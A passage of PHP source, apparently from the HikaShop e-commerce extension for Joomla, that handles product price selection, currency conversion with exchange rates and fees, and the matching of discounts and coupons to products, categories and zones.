						foreach($currentRowPrices as $price){
							if($price->price_currency_id==$main_currency){
								$matches[]=$price;
							}
						}
						if(empty($matches)){
							$match = array_pop($currentRowPrices);
							if(!empty($currentRowPrices)){
								foreach($currentRowPrices as $price){
									if($price->price_currency_id==$match->price_currency_id){
										$matches[]=$price;
									}
								}
							}
							$matches[]=$match;
						}
					}
					if(!empty($matches)){
						switch($price_display_type){
							default:
							case 'all':
								$found = array();
								foreach($matches as $j => $match){
									if(in_array($match->price_value,$found)) continue;
									$found[]=$match->price_value;
									$matches[$j]->price_value_with_tax =
$this->getTaxedPrice($match->price_value,$zone_id,$element->product_tax_id);
									$matches[$j]->taxes = $this->taxRates;
								}
								$rows[$k]->prices = $matches;
								break;
							case 'cheapest':
								$min=0;
								$minVal=0;
								foreach($matches as $match){
									if($match->price_value<$minVal || $minVal==0){
										$min = $match;
										$minVal = $match->price_value;
									}
								}
								$min->price_value_with_tax =
$this->getTaxedPrice($min->price_value,$zone_id,$element->product_tax_id);
								$min->taxes = $this->taxRates;
								$rows[$k]->prices = array($min);
								break;
							case 'unit':
								$found = false;
								foreach($matches as $j => $match){
									if(empty($match->price_min_quantity)){
										$matches[0]->price_value_with_tax =
$this->getTaxedPrice($matches[0]->price_value,$zone_id,$element->product_tax_id);
										$matches[0]->taxes = $this->taxRates;
										$rows[$k]->prices = array($matches[0]);
										$found = true;
										break;
									}
								}
								if(!$found){
									$rows[$k]->prices = array(reset($matches));
								}
								break;
							case 'range':
								$min=0;
								$minVal=0;
								$max=0;
								$maxVal=0;
								foreach($matches as $match){
									if($match->price_value>$maxVal || $maxVal==0){
										$max = $match;
										$maxVal = $match->price_value;
									}
									if($match->price_value<$minVal || $minVal==0){
										$min = $match;
										$minVal = $match->price_value;
									}
								}
								$min->price_value_with_tax =
$this->getTaxedPrice($min->price_value,$zone_id,$element->product_tax_id);
								$min->taxes = $this->taxRates;
								$max->price_value_with_tax =
$this->getTaxedPrice($max->price_value,$zone_id,$element->product_tax_id);
								$max->taxes = $this->taxRates;
								if($min->price_value_with_tax==$max->price_value_with_tax){
									$rows[$k]->prices = array($min);
								}else{
									$rows[$k]->prices = array($min,$max);
								}
								break;
						}

					}
				}
			}
		}


		$cids = array();
		if(!empty($rows)){
			foreach($rows as $k => $row){
				if(!empty($row->prices)){
					if(!empty($rows[$k]->prices)){
						foreach($rows[$k]->prices as $k2 => $price){
							if($price->price_currency_id!=$currency_id){
								$cids[$price->price_currency_id]=$price->price_currency_id;
							}
						}
					}
				}
			}
		}
		if(!empty($discounts)){
			foreach($discounts as $discount){
				$cids[$discount->discount_currency_id]=$discount->discount_currency_id;
			}
		}
		if(!empty($cids)){
			if(empty($cids[$currency_id])) $cids[$currency_id]=$currency_id;
			if(empty($cids[$main_currency]))$cids[$main_currency]=$main_currency;
			$query = 'SELECT * FROM
'.hikashop_table('currency').' WHERE currency_id IN
('.implode(',',$cids).')';
			$this->database->setQuery($query);
			$currencies =
$this->database->loadObjectList('currency_id');
			foreach($rows as $k => $row){
				if(!empty($row->prices)){
					$this->convertPrices($row->prices,$currencies,$currency_id,$main_currency);
				}
			}
			if(!empty($discounts)){
				$this->convertDiscounts($discounts,$currencies,$currency_id,$main_currency);
				$this->cartDiscountsLeft=array();
				$this->addDiscountToPrices($rows,$discounts,$discount_before_tax,$zone_id);
			}
		}
	}
	function convertUniquePrice($price,$srcCurrency_id, $dstCurrency_id){
		$config =& hikashop_config();
		$main_currency_id = $config->get('main_currency',1);

		$currencies=array();
		$ids=array();
		$ids[$main_currency_id]=$main_currency_id;
		$ids[$srcCurrency_id]=$srcCurrency_id;
		$ids[$dstCurrency_id]=$dstCurrency_id;

		$currencies=$this->getCurrencies($ids,$currencies);
		$srcCurrency = $currencies[$srcCurrency_id];
		$dstCurrency = $currencies[$dstCurrency_id];
		$mainCurrency = $currencies[$main_currency_id];

		if($srcCurrency_id!=$main_currency_id){
			$price=floatval($price)/floatval($srcCurrency->currency_rate);
		}

		if($dstCurrency_id!=$main_currency_id){
			$price=floatval($price)*floatval($dstCurrency->currency_rate);
		}
		return $this->_round($price);
	}

	function
convertPrices(&$prices,$currencies,$currency_id,$main_currency){
		$unset = array();
		foreach($prices as $k2 => $price){
			if($price->price_currency_id!=$currency_id){
				if(isset($currencies[$price->price_currency_id]) &&
isset($currencies[$currency_id]) &&
isset($currencies[$main_currency])){
					$prices[$k2]->price_orig_value = $price->price_value;
					$prices[$k2]->price_orig_value_with_tax =
$price->price_value_with_tax;
					$prices[$k2]->price_orig_currency_id =
$price->price_currency_id;
					$prices[$k2]->price_currency_id = $currency_id;
					if(isset($price->taxes)){
						$prices[$k2]->taxes_orig = $price->taxes;
					}
					$srcCurrency = $currencies[$prices[$k2]->price_orig_currency_id];
					$dstCurrency = $currencies[$currency_id];
					$mainCurrency =  $currencies[$main_currency];
					$prices[$k2]->price_currency_id = $currency_id;
					$prices[$k2]->price_value=floatval($prices[$k2]->price_value);
					$prices[$k2]->price_value_with_tax=floatval($prices[$k2]->price_value_with_tax);
					if($srcCurrency->currency_id!=$mainCurrency->currency_id){
						if(bccomp($srcCurrency->currency_percent_fee,0,2)){
							$prices[$k2]->price_value+=$prices[$k2]->price_value*floatval($srcCurrency->currency_percent_fee)/100.0;
							$prices[$k2]->price_value_with_tax+=$prices[$k2]->price_value_with_tax*floatval($srcCurrency->currency_percent_fee)/100.0;
							if(isset($prices[$k2]->taxes)){
								foreach($prices[$k2]->taxes as $k => $tax){
									$prices[$k2]->taxes[$k]->tax_amount+=
$prices[$k2]->taxes[$k]->tax_amount*floatval($srcCurrency->currency_percent_fee)/100.0;
								}
							}
						}
						$prices[$k2]->price_value=$prices[$k2]->price_value/floatval($srcCurrency->currency_rate);
						$prices[$k2]->price_value_with_tax=$prices[$k2]->price_value_with_tax/floatval($srcCurrency->currency_rate);
						if(isset($prices[$k2]->taxes)){
							foreach($prices[$k2]->taxes as $k => $tax){
								$prices[$k2]->taxes[$k]->tax_amount=
$prices[$k2]->taxes[$k]->tax_amount/floatval($srcCurrency->currency_rate);
							}
						}

					}
					if($dstCurrency->currency_id!=$mainCurrency->currency_id){
						$prices[$k2]->price_value=floatval($prices[$k2]->price_value)*floatval($dstCurrency->currency_rate);
						$prices[$k2]->price_value_with_tax=floatval($prices[$k2]->price_value_with_tax)*floatval($dstCurrency->currency_rate);
						if(isset($prices[$k2]->taxes)){
							foreach($prices[$k2]->taxes as $k => $tax){
								$prices[$k2]->taxes[$k]->tax_amount=
@$prices[$k2]->taxes[$k]->tax_amount*floatval($dstCurrency->currency_rate);
							}
						}
						if(bccomp($dstCurrency->currency_percent_fee,0,2)){
							$prices[$k2]->price_value+=$prices[$k2]->price_value*floatval($dstCurrency->currency_percent_fee)/100.0;
							$prices[$k2]->price_value_with_tax+=$prices[$k2]->price_value_with_tax*floatval($dstCurrency->currency_percent_fee)/100.0;
							if(isset($prices[$k2]->taxes)){
								foreach($prices[$k2]->taxes as $k => $tax){
									$prices[$k2]->taxes[$k]->tax_amount+=
$prices[$k2]->taxes[$k]->tax_amount*floatval($dstCurrency->currency_percent_fee)/100.0;
								}
							}
						}
					}

				}else{
					$unset[]=$k2;
				}
			}
		}
		if(!empty($unset)){
			foreach($unset as $u){
				unset($prices[$u]);
			}
		}
	}



	function selectDiscount(&$product,&$discounts,$zone_id){
		$discountsSelected= array();
		$discountSkippedBecauseOverQuota = false;
		$id = $product->product_id;
		if($product->product_type!='main' &&
!empty($product->product_parent_id)){
			$id = $product->product_parent_id;
		}
		static $zones = array();
		$zoneClass = hikashop_get('class.zone');
		if(empty($zones[$zone_id])){
			foreach($discounts as $discount){
				if($discount->discount_zone_id){
					$zones[$zone_id] = $zoneClass->getZoneParents($zone_id);
					break;
				}
			}
		}

		foreach($discounts as $discount){
			$value =
sprintf('%09.2f',$discount->discount_flat_amount).'_'.sprintf('%09.4f',$discount->discount_percent_amount);

			if($discount->discount_zone_id){
				$zone = $zoneClass->get($discount->discount_zone_id);
				if($zone &&
!in_array($zone->zone_namekey,$zones[$zone_id])){
					continue;
				}
			}
			if(!empty($product->cart_product_quantity) &&
empty($product->discount)){
				if(!isset($this->cartDiscountsLeft[$discount->discount_code])){
					$this->cartDiscountsLeft[$discount->discount_code] =
$discount->discount_quota-$discount->discount_used_times;
				}

				if(!empty($discount->discount_quota) &&
$this->cartDiscountsLeft[$discount->discount_code]<$product->cart_product_quantity){
					$discountSkippedBecauseOverQuota = true;
					continue;
				}

				$this->cartDiscountsLeft[$discount->discount_code]-=$product->cart_product_quantity;
			}

			if(!empty($discount->discount_product_id) &&
$product->product_id==$discount->discount_product_id){
				$discountsSelected[0][$value]=$discount;
				continue;
			}

			if(!empty($discount->discount_product_id) &&
!empty($product->product_parent_id) &&
$product->product_parent_id==$discount->discount_product_id){
				$discountsSelected[5][$value]=$discount;
				continue;
			}

			if(empty($discount->discount_product_id) &&
!empty($discount->discount_category_id)){
				if($discount->discount_category_childs){
					static $childs=array();
					if(!isset($childs[$discount->discount_category_id])){
						$classCategory = hikashop_get('class.category');
						$childs[$discount->discount_category_id]=$classCategory->getChilds($discount->discount_category_id,true,array(),'',0,999,false,'a.category_id');
						$childs[$discount->discount_category_id][]=$classCategory->get($discount->discount_category_id);
					}

					static $products=array();
					$catIds = array();
					foreach($childs[$discount->discount_category_id] as $cat){
						if(!empty($cat))
							$catIds[] = (int)$cat->category_id;
					}
					$key = implode(',',$catIds);
					if(!isset($products[$key])){
						$this->database->setQuery('SELECT product_id FROM
#__hikashop_product_category WHERE category_id IN
('.$key.')');
						if(!HIKASHOP_J25){
							$products[$key] = $this->database->loadResultArray();
						} else {
							$products[$key] = $this->database->loadColumn();
						}
					}
					if(empty($products[$key]) ||
!in_array($product->product_id,$products[$key]) &&
!in_array($product->product_parent_id,$products[$key])){
						continue;
					}
				}
				$categories =
$this->_getCategories($id,$discount->discount_category_childs);
				if(!empty($categories)){
					foreach($categories as $val){
						if($val->category_id==$discount->discount_category_id){
							$discountsSelected[10][$val->category_depth][$value]=$discount;
							continue;
						}
					}
				}
			}

			if(empty($discount->discount_product_id) &&
empty($discount->discount_category_id)){
				$discountsSelected[20][$value]=$discount;
			}
		}


		if(!empty($discountsSelected)){
			ksort($discountsSelected);
			$discount = array_shift($discountsSelected);
			if(is_array($discount)){
				krsort($discount);
				$discount = array_shift($discount);
				if(is_array($discount)){
					krsort($discount);
					$discount = array_shift($discount);
				}
			}
			$product->discount = $discount;
		}elseif($discountSkippedBecauseOverQuota){
		}
	}

	function
convertDiscounts(&$discounts,&$currencies,$currency_id,$main_currency){
		$unset = array();
		foreach($discounts as $k => $discount){
			if($discount->discount_currency_id!=$currency_id){
				if(bccomp($discounts[$k]->discount_flat_amount,0,5)){
					if(isset($currencies[$discount->discount_currency_id]) &&
isset($currencies[$currency_id]) &&
isset($currencies[$main_currency])){
						$discounts[$k]->discount_flat_amount_orig =
$discounts[$k]->discount_flat_amount;
						$discounts[$k]->discount_currency_id_orig =
$discounts[$k]->discount_currency_id;
						$discounts[$k]->discount_currency_id = $currency_id;
						$srcCurrency = $currencies[$discount->discount_currency_id_orig];
						$dstCurrency = $currencies[$currency_id];
						$mainCurrency =  $currencies[$main_currency];
						if($srcCurrency->currency_id!=$mainCurrency->currency_id){
							if(bccomp($srcCurrency->currency_percent_fee,0,2)){
								$discounts[$k]->discount_flat_amount+=$discounts[$k]->discount_flat_amount*floatval($srcCurrency->currency_percent_fee)/100.0;
							}
							if(bccomp($srcCurrency->currency_rate,0,2)){
								$discounts[$k]->discount_flat_amount=floatval($discounts[$k]->discount_flat_amount)/floatval($srcCurrency->currency_rate);
							}
						}
						if($dstCurrency->currency_id!=$mainCurrency->currency_id){
							$discounts[$k]->discount_flat_amount=floatval($discounts[$k]->discount_flat_amount)*floatval($dstCurrency->currency_rate);
							if(bccomp($dstCurrency->currency_percent_fee,0,2)){
								$discounts[$k]->discount_flat_amount+=$discounts[$k]->discount_flat_amount*floatval($dstCurrency->currency_percent_fee)/100.0;
							}
						}
					}else{
						$unset[]=$k;
					}
				}else{
					$discounts[$k]->discount_flat_amount=0;
				}
			}
		}
		if(!empty($unset)){
			foreach($unset as $u){
				unset($discounts[$u]);
			}
		}
	}

	function convertStats(&$orders){
		$config =& hikashop_config();
		$main_currency = (int)$config->get('main_currency',1);
		$currency_id = hikashop_getCurrency();
		$currencies = array();
		foreach($orders as $k => $order){
			if($order->currency_id!=$currency_id &&
bccomp($order->total,0,5)){
				$currencies[$order->currency_id]=$order->currency_id;
			}
		}
		if(!empty($currencies)){
			$currencies[$currency_id]=$currency_id;
			$currencies[$main_currency]=$main_currency;
			$null=null;
			$currencies = $this->getCurrencies($currencies,$null);
			$unset = array();

			foreach($orders as $k => $order){
				if($order->currency_id!=$currency_id){
					if(isset($currencies[$order->currency_id]) &&
isset($currencies[$currency_id]) &&
isset($currencies[$main_currency])){
						$orders[$k]->total_orig = ($orders[$k]->total);
						$orders[$k]->currency_id_orig = $orders[$k]->currency_id;
						$orders[$k]->currency_id = $currency_id;
						$srcCurrency = $currencies[$order->currency_id_orig];
						$dstCurrency = $currencies[$currency_id];
						$mainCurrency =  $currencies[$main_currency];
						if($srcCurrency->currency_id!=$mainCurrency->currency_id){
							if(bccomp($srcCurrency->currency_percent_fee,0,2)){
								$orders[$k]->total+=$orders[$k]->total*floatval($srcCurrency->currency_percent_fee)/100.0;
							}
							if(bccomp($srcCurrency->currency_rate,0,2)){
								$orders[$k]->total=(floatval($orders[$k]->total)/floatval($srcCurrency->currency_rate));
							}
						}
						if($dstCurrency->currency_id!=$mainCurrency->currency_id){
							$orders[$k]->total=floatval($orders[$k]->total)*floatval($dstCurrency->currency_rate);
							if(bccomp($dstCurrency->currency_percent_fee,0,2)){
								$orders[$k]->total+=$orders[$k]->total*floatval($dstCurrency->currency_percent_fee)/100.0;
							}
						}
					}else{
						$unset[]=$k;
					}
				}
			}
			if(!empty($unset)){
				foreach($unset as $u){
					unset($orders[$u]);
				}
			}
		}
	}

	function convertShippings(&$shippings) {
		$config =& hikashop_config();
		$main_currency = (int)$config->get('main_currency',1);
		$currency_id = hikashop_getCurrency();
		if(!in_array($currency_id,$this->publishedCurrencies())) {
			$currency_id = $main_currency;
		}
		$currencies = array();
		foreach($shippings as $k => $shipping) {
			if($shipping->shipping_currency_id!=$currency_id &&
bccomp($shipping->shipping_price,0,5)){
				$currencies[$shipping->shipping_currency_id]=$shipping->shipping_currency_id;
			}
		}
		if(!empty($currencies)){
			$currencies[$currency_id]=$currency_id;
			$currencies[$main_currency]=$main_currency;
			$null=null;
			$currencies = $this->getCurrencies($currencies,$null);
			$unset = array();

			foreach($shippings as $k => $shipping){
				if(empty($shipping->shipping_currency_id)){
					continue;
				}
				if($shipping->shipping_currency_id!=$currency_id){
					if(isset($currencies[$shipping->shipping_currency_id]) &&
isset($currencies[$currency_id]) &&
isset($currencies[$main_currency])){
						if(!isset($shippings[$k]->shipping_params)||!is_object($shippings[$k]->shipping_params))$shippings[$k]->shipping_params
= new stdClass();
						if(!isset($shippings[$k]->shipping_params->shipping_min_price)){
							$shippings[$k]->shipping_params->shipping_min_price=0.0;
						}
						if(!isset($shippings[$k]->shipping_params->shipping_max_price)){
							$shippings[$k]->shipping_params->shipping_max_price=0.0;
						}
						$shippings[$k]->shipping_price_orig =
($shippings[$k]->shipping_price);
						$shippings[$k]->shipping_params->shipping_min_price_orig =
($shippings[$k]->shipping_params->shipping_min_price);
						$shippings[$k]->shipping_params->shipping_max_price_orig =
($shippings[$k]->shipping_params->shipping_max_price);
						$shippings[$k]->shipping_currency_id_orig =
$shippings[$k]->shipping_currency_id;
						$shippings[$k]->shipping_currency_id = $currency_id;
						$srcCurrency = $currencies[$shipping->shipping_currency_id_orig];
						$dstCurrency = $currencies[$currency_id];
						$mainCurrency =  $currencies[$main_currency];
						if($srcCurrency->currency_id!=$mainCurrency->currency_id){
							if(bccomp($srcCurrency->currency_percent_fee,0,2)){
								$shippings[$k]->shipping_price+=$shippings[$k]->shipping_price*floatval($srcCurrency->currency_percent_fee)/100.0;
								$shippings[$k]->shipping_params->shipping_min_price+=$shippings[$k]->shipping_params->shipping_min_price*floatval($srcCurrency->currency_percent_fee)/100.0;
								$shippings[$k]->shipping_params->shipping_max_price+=$shippings[$k]->shipping_params->shipping_max_price*floatval($srcCurrency->currency_percent_fee)/100.0;
							}
							if(bccomp($srcCurrency->currency_rate,0,2)){
								$shippings[$k]->shipping_price=(floatval($shippings[$k]->shipping_price)/floatval($srcCurrency->currency_rate));
								$shippings[$k]->shipping_params->shipping_min_price=(floatval($shippings[$k]->shipping_params->shipping_min_price)/floatval($srcCurrency->currency_rate));
								$shippings[$k]->shipping_params->shipping_max_price=(floatval($shippings[$k]->shipping_params->shipping_max_price)/floatval($srcCurrency->currency_rate));
							}
						}
						if($dstCurrency->currency_id!=$mainCurrency->currency_id){
							$shippings[$k]->shipping_price=floatval($shippings[$k]->shipping_price)*floatval($dstCurrency->currency_rate);
							$shippings[$k]->shipping_params->shipping_min_price=floatval($shippings[$k]->shipping_params->shipping_min_price)*floatval($dstCurrency->currency_rate);
							$shippings[$k]->shipping_params->shipping_max_price=floatval($shippings[$k]->shipping_params->shipping_max_price)*floatval($dstCurrency->currency_rate);
							if(bccomp($dstCurrency->currency_percent_fee,0,2)){
								$shippings[$k]->shipping_price+=$shippings[$k]->shipping_price*floatval($dstCurrency->currency_percent_fee)/100.0;
								$shippings[$k]->shipping_params->shipping_min_price+=$shippings[$k]->shipping_params->shipping_min_price*floatval($dstCurrency->currency_percent_fee)/100.0;
								$shippings[$k]->shipping_params->shipping_max_price+=$shippings[$k]->shipping_params->shipping_max_price*floatval($dstCurrency->currency_percent_fee)/100.0;
							}
						}
					}else{
						$unset[]=$k;
					}
				}
			}
			if(!empty($unset)){
				foreach($unset as $u){
					unset($shippings[$u]);
				}
			}
		}
	}

	function convertPayments(&$payments){
		$config =& hikashop_config();
		$main_currency = (int)$config->get('main_currency',1);
		$currency_id = hikashop_getCurrency();
		if(!in_array($currency_id,$this->publishedCurrencies())){
			$currency_id = $main_currency;
		}
		$currencies = array();
		foreach($payments as $k => $payment){
			if(@$payment->payment_params->payment_currency!=$currency_id
&& bccomp(@$payment->payment_price,0,5)){
				$currencies[$payment->payment_params->payment_currency]=$payment->payment_params->payment_currency;
			}
		}
		if(!empty($currencies)){
			$currencies[$currency_id]=$currency_id;
			$currencies[$main_currency]=$main_currency;
			$null=null;
			$currencies = $this->getCurrencies($currencies,$null);
			$unset = array();

			foreach($payments as $k => $payment){
				if(empty($payment->payment_params->payment_currency)){
					continue;
				}
				if($payment->payment_params->payment_currency!=$currency_id){
					if(isset($currencies[$payment->payment_params->payment_currency])
&& isset($currencies[$currency_id]) &&
isset($currencies[$main_currency])){
						$payments[$k]->payment_price_orig =
($payments[$k]->payment_price);
						$payments[$k]->payment_currency_orig =
$payments[$k]->payment_params->payment_currency;
						$payments[$k]->payment_params->payment_currency =
$currency_id;
						$srcCurrency = $currencies[$payment->payment_currency_orig];
						$dstCurrency = $currencies[$currency_id];
						$mainCurrency =  $currencies[$main_currency];
						if($srcCurrency->currency_id!=$mainCurrency->currency_id){
							if(bccomp($srcCurrency->currency_percent_fee,0,2)){
								$payments[$k]->payment_price+=$payments[$k]->payment_price*floatval($srcCurrency->currency_percent_fee)/100.0;
							}
							if(bccomp($srcCurrency->currency_rate,0,2)){
								$payments[$k]->payment_price=(floatval($payments[$k]->payment_price)/floatval($srcCurrency->currency_rate));
							}
						}
						if($dstCurrency->currency_id!=$mainCurrency->currency_id){
							$payments[$k]->payment_price=floatval($payments[$k]->payment_price)*floatval($dstCurrency->currency_rate);
							if(bccomp($dstCurrency->currency_percent_fee,0,2)){
								$payments[$k]->payment_price+=$payments[$k]->payment_price*floatval($dstCurrency->currency_percent_fee)/100.0;
							}
						}
					}else{
						$unset[]=$k;
					}
				}
			}
			if(!empty($unset)){
				foreach($unset as $u){
					unset($payments[$u]);
				}
			}
		}
	}

	function _getCategories($id,$farAwayParent=false){
		static $result=array();
		$key = $id.'_'.(int)$farAwayParent;
		if(!isset($result[$key])){
			$app = JFactory::getApplication();
			if(!$farAwayParent){
				$filters = array('a.product_id = '.(int)$id);
				if(!$app->isAdmin()){
					hikashop_addACLFilters($filters,'category_access','b');
				}
				$query = 'SELECT DISTINCT b.category_id, b.category_depth FROM
'.hikashop_table('product_category').' AS a LEFT JOIN
'.hikashop_table('category').' AS b ON
a.category_id=b.category_id WHERE '.implode(' AND
',$filters);
			}else{
				$filters = array('b.category_right >=
a.category_right','c.product_id = '.(int)$id);
				if(!$app->isAdmin()){
					hikashop_addACLFilters($filters,'category_access','b');
				}
				$query = 'SELECT DISTINCT b.category_id, b.category_depth FROM
'.hikashop_table('product_category').' AS c LEFT JOIN
'.
				hikashop_table('category').' AS a ON
c.category_id=a.category_id LEFT JOIN '.
				hikashop_table('category').' AS b ON a.category_left
>= b.category_left WHERE '.implode(' AND ',$filters);
			}
			$this->database->setQuery($query);
			$array= $this->database->loadObjectList();
			if(!is_array($array)){
				$array = array();
			}
			$result[$key]=$array;
		}
		return $result[$key];
	}

	function getPrices(&$element, &$ids,$currency_id, $main_currency,
$zone_id, $discount_before_tax, $user_id = 0) {
		$currency_ids =
array($currency_id=>$currency_id,$main_currency=>$main_currency);
		$filters=array('price_currency_id IN
('.implode(',',$this->publishedCurrencies()).')');
		if(!empty($ids)){
			$ids_string = '';
			foreach($ids as $id){
				if(!empty($id)) $ids_string.= (int)$id.',';
			}
			$ids_string=rtrim($ids_string,',');
			if(empty($ids_string)){
				if(!empty($element->product_id)){
					$ids_string = $element->product_id;
					$ids = array($ids_string);
				}else{
					return false;
				}
			}
			$filters[]= 'price_product_id IN
('.$ids_string.')';
		} else {
			$ids_string = '0';
		}
		$app = JFactory::getApplication();
		if(!$app->isAdmin() || (int)$user_id > 0){
			hikashop_addACLFilters($filters, 'price_access', '',
2, false, (int)$user_id);
		}

		$query = 'SELECT * FROM
'.hikashop_table('price').' WHERE '.implode('
AND ',$filters). ' ORDER BY price_value DESC';
		$this->database->setQuery($query);
		$prices = $this->database->loadObjectList();

		if(!empty($prices)){
			if(is_array($element)){
				foreach($element as $k => $el){
					$this->removeAndAddPrices($element[$k],$prices,$currency_ids,$currency_id,$main_currency,$zone_id);
				}
			}else{
				$this->removeAndAddPrices($element,$prices,$currency_ids,$currency_id,$main_currency,$zone_id);
			}
			$uneeded = array();
			foreach($prices as $k => $price){
				if(empty($price->needed)) $uneeded[]=$k;
			}
			if(!empty($uneeded)){
				foreach($uneeded as $k){
					unset($prices[$k]);
				}
			}
		}

		$filters=array(
			'discount_type=\'discount\'',
			'discount_published=1',
			'( discount_quota>discount_used_times OR discount_quota=0
)',
			'discount_start < '.time(),
			'( discount_end > '.time().' OR discount_end = 0
)',
			'( discount_product_id IN ('.$ids_string.') OR
discount_product_id=0 )',
			'( discount_flat_amount!=0 OR discount_percent_amount!=0 )'
		);
		if(!$app->isAdmin() || (int)$user_id > 0){
			hikashop_addACLFilters($filters,'discount_access',
'', 2, false, (int)$user_id);
		}
		$query = 'SELECT * FROM
'.hikashop_table('discount').' WHERE
'.implode(' AND ',$filters);
		$this->database->setQuery($query);
		$discounts = $this->database->loadObjectList();

		if(!empty($discounts)){
			foreach($discounts as $discount){
				if(!empty($discount->discount_currency_id)){
					$currency_ids[$discount->discount_currency_id]=$discount->discount_currency_id;
				}
			}
		}

		$null=null;
		$currencies = $this->getCurrencies($currency_ids,$null);

		$this->convertPrice($element,$currencies,$currency_id,$main_currency);

		if(!empty($discounts)){
			$this->cartDiscountsLeft=array();
			$this->productsDone=array();
			$this->convertDiscounts($discounts,$currencies,$currency_id,$main_currency);
			$this->addDiscountToPrices($element,$discounts,$discount_before_tax,$zone_id);

			if(!empty($element->options)){
				$this->addDiscountToPrices($element->options,$discounts,$discount_before_tax,$zone_id);
			}
		}
	}

	function
removeAndAddPrices(&$element,&$prices,&$currency_ids,$currency_id,$main_currency,$zone_id){
		$this->removeUneededPrices($element,$prices,$currency_id,$main_currency);
		$this->addTax($prices,$element,$currency_ids,$zone_id,$element->product_tax_id);
		if(!empty($element->variants)){
			foreach($element->variants as $k2 => $variant){
				$this->removeUneededPrices($element->variants[$k2],$prices,$currency_id,$main_currency);
				$this->addTax($prices,$element->variants[$k2],$currency_ids,$zone_id,$element->product_tax_id);
			}
		}
		if(!empty($element->options)){
			foreach($element->options as $k2 => $optionElement){
				if(is_object($optionElement))
$this->removeAndAddPrices($element->options[$k2],$prices,$currency_ids,$currency_id,$main_currency,$zone_id);
			}
		}

	}

	function
removeUneededPrices(&$element,&$prices,$currency_id,$main_currency){
		$elementPrices = array();
		foreach($prices as $k => $price){
			if($price->price_product_id == $element->product_id) {
				$elementPrices[$price->price_currency_id][$price->price_min_quantity][]=$k;
			}
		}
		if(empty($elementPrices)){
			return true;
		}


		if(empty($elementPrices[$currency_id])){
			if(isset($elementPrices[$main_currency])){
				$this->_removePrices($elementPrices,$prices,$main_currency);
			}else{
				reset($elementPrices);
				$found=key($elementPrices);
				foreach($elementPrices as $currency => $price){
					if(isset($price[0])){
						$found = $currency;
					}
				}
				$this->_removePrices($elementPrices,$prices,$found);
			}

		}else{
			$this->_removePrices($elementPrices,$prices,$currency_id);
		}
		if(!empty($element->cart_product_quantity)){
			if(empty($element->cart_product_total_quantity)){
				$element->cart_product_total_quantity =
$element->cart_product_quantity;
			}
			$elementPrices=array();
			foreach($prices as $k => $price){
				if($price->price_product_id==$element->product_id){
					$price->k=$k;
					$elementPrices[$price->price_min_quantity] = $price;
				}
			}
			krsort($elementPrices);
			$found = false;
			foreach($elementPrices as $qty => $price){
				if($qty>$element->cart_product_total_quantity || $found){
				}else{
					$prices[$price->k]->needed = true;
					$found = true;
				}
			}
		}
		return true;
	}

	function _removePrices(&$elementPrices,&$prices,$main_currency){
		foreach($elementPrices as $currency => $currencyPrices){
			if($currency!=$main_currency){
				foreach($currencyPrices as $quantityPrices){
					foreach($quantityPrices as $k){
						unset($prices[$k]);
					}
				}
			}
		}
	}

	function convertCoupon(&$coupon,$currency_id){
		if($coupon->discount_currency_id==$currency_id){
			return true;
		}
		$config =& hikashop_config();
		$main_currency = $config->get('main_currency',1);
		$currencies = array($coupon->discount_currency_id,$currency_id);
		if($coupon->discount_currency_id!=$main_currency){
			$currencies[]=$main_currency;
		}
		$null = null;
		$currenciesData=$this->getCurrencies($currencies,$null);
		$coupon->discount_currency_id_orig =
$coupon->discount_currency_id;
		$srcCurrency = $currenciesData[$coupon->discount_currency_id];
		$dstCurrency = $currenciesData[$currency_id];
		$mainCurrency =  $currenciesData[$main_currency];
		$coupon->discount_currency_id = $currency_id;
		if(bccomp($coupon->discount_flat_amount,0,5)){
			$coupon->discount_flat_amount_orig =
($coupon->discount_flat_amount);
			if($srcCurrency->currency_id!=$mainCurrency->currency_id){
				if(bccomp($srcCurrency->currency_percent_fee,0,2)){
					$coupon->discount_flat_amount+=$coupon->discount_flat_amount*floatval($srcCurrency->currency_percent_fee)/100.0;
				}
				$coupon->discount_flat_amount=(floatval($coupon->discount_flat_amount)/floatval($srcCurrency->currency_rate));
			}
			if($dstCurrency->currency_id!=$mainCurrency->currency_id){
				$coupon->discount_flat_amount=floatval($coupon->discount_flat_amount)*floatval($dstCurrency->currency_rate);
				if(bccomp($dstCurrency->currency_percent_fee,0,2)){
					$coupon->discount_flat_amount+=$coupon->discount_flat_amount*floatval($dstCurrency->currency_percent_fee)/100.0;
				}
			}
		}else{
			$coupon->discount_flat_amount=0;
		}
		if(bccomp($coupon->discount_minimum_order,0,5)){
			$coupon->discount_minimum_order_orig =
($coupon->discount_minimum_order);
			if($srcCurrency->currency_id!=$mainCurrency->currency_id){
				if(bccomp($srcCurrency->currency_percent_fee,0,2)){
					$coupon->discount_minimum_order+=$coupon->discount_minimum_order*floatval($srcCurrency->currency_percent_fee)/100.0;
				}
				$coupon->discount_minimum_order=(floatval($coupon->discount_minimum_order)/floatval($srcCurrency->currency_rate));
			}
			if($dstCurrency->currency_id!=$mainCurrency->currency_id){
				$coupon->discount_minimum_order=floatval($coupon->discount_minimum_order)*floatval($dstCurrency->currency_rate);
				if(bccomp($dstCurrency->currency_percent_fee,0,2)){
					$coupon->discount_minimum_order+=$coupon->discount_minimum_order*floatval($dstCurrency->currency_percent_fee)/100.0;
				}
			}
		}else{
			$coupon->discount_minimum_order=0;
		}
		return true;
	}

	function getCurrencies($ids,&$currencies){
		static $cachedCurrencies=array();
		if(!empty($currencies)){
			foreach($currencies as $currency){
				$this->checkLocale($currency);
				$cachedCurrencies[(int)$currency->currency_id]=$currency;
			}
		}
		if(!is_null($ids)){
			if(!is_array($ids)){
				$ids = array($ids);
			}
			$need = array();
			foreach($ids as $id){
				if(!isset($cachedCurrencies[(int)$id])){
					$need[]=(int)$id;
				}
			}

			if(!empty($need)){
				$query = 'SELECT * FROM
'.hikashop_table('currency').' WHERE currency_id IN
('.implode(',',$need).')';
				$this->database->setQuery($query);

				$results = $this->database->loadObjectList();
				foreach($results as $k => $v){
					$this->checkLocale($results[$k]);
				}
				$this->getCurrencies(null,$results);
			}
			$found = array();
			foreach($ids as $id){
				if(isset($cachedCurrencies[(int)$id]))
$found[(int)$id]=$cachedCurrencies[(int)$id];
			}
			return $found;
		}
		return true;
	}

	function calculateTotal(&$rows,&$order,$currency_id){
		$total= new stdClass();
		$total->price_value=0.0;
		$total->price_value_with_tax=0.0;
		$total->price_currency_id=$currency_id;
		$total->taxes = array();
		$quantity = 0;
		foreach($rows as $k => $row){
			if(!empty($row->prices)&&$row->cart_product_quantity>0){
				$price = reset($row->prices);
				foreach(get_object_vars($total) as $key => $value){
